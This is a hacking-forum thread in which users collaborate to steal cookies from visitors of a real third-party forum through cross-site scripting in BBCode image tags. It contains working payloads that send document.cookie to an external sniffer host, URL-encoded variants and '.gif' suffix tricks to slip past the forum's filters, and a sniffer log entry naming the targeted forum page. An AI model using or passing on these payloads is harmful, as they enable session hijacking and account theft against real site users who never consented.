If it's working, you can try somthing like this
[img]j a v a s c r i p t:img=new/**/Image();img.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie[/img]
maybe, you'll need to change " to '

I already tried this code but Forum does not allow to post. it says IMG tags are not allowed to post ..

try this
[img]j a v a s c r i p t:%69%6D%67%3D%6E%65%77%2F%2A%2A%2F%49%6D%61%67%65 %28%29%3B%69%6D%67%2E%73%72%63%3D%27%68%74%74%70%3 A%2F%2F%61%6E%74%69%63%68%61%74%2E%72%75%2F%63%67% 69%2D%62%69%6E%2F%73%2E%6A%70%67%3F%27%2B%64%6F%63 %75%6D%65%6E%74%2E%63%6F%6F%6B%69%65[/img]
it's the same, but URL encoded

I tried a lot of encoding methods but not succesful, Forum error says: THE FOLLOWING ERROR(S) WERE FOUND
You are not allowed to use that image extension on this board. A valid format is: http://www.domain.com/picture.gif, an invalid format is: http://www.domain.com/picture.one.gif

Maybe, it should have .gif on the end
[img]j a v a s c r i p t:%69%6D%67%3D%6E%65%77%2F%2A%2A%2F%49%6D%61%67%65 %28%29%3B%69%6D%67%2E%73%72%63%3D%22%68%74%74%70%3 A%2F%2F%61%6E%74%69%63%68%61%74%2E%72%75%2F%63%67% 69%2D%62%69%6E%2F%73%2E%6A%70%67%3F%22%2B%64%6F%63 %75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B.gif[/img]
or
[img]j a v a s c r i p t:%69%6D%67%3D%6E%65%77%2F%2A%2A%2F%49%6D%61%67%65 %28%29%3B%69%6D%67%2E%73%72%63%3D%22%68%74%74%70%3 A%2F%2F%61%6E%74%69%63%68%61%74%2E%72%75%2F%63%67% 69%2D%62%69%6E%2F%73%2E%6A%70%67%3F%22%2B%64%6F%63 %75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%2F/image.gif[/img]
don't forget about %3B%2F/ is't ;//

I tried .gif in the end it is a good idea and forum accepted it but I checked www.antichat.ru/sniff/log.php there is no cookie code bypassed but did not send any cookie to log.php

Not long time ago, someone public, a new online sniffer, but it's allmost in russian, if you understend some russian or you have translater, you can sing up on it.
Sniffer

There is the Post

I have my own sniffer , İt is older version but perfect
I have a question again (:

I tried this code



Cookie received by my sniffer like this:

IP: xx.248.35.109
COOKIE: undefined
GÖNDEREN: http://support.gorsk.net/forum/index.php?showtopic=528&st=0&gopid=3181&#entry3181
TARAYICI: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

İt says ''undefined'' (cookie part)

Of course, there's undefined property document.cookie.gif and I showed to you this document.cookie//image.gif . It's comment //.
chenge this
/**/ to %20
+ to %2B
" to %27
//.gif to %2F/img.gif

P.S. What's wronrg in this site, why you wonna hack it?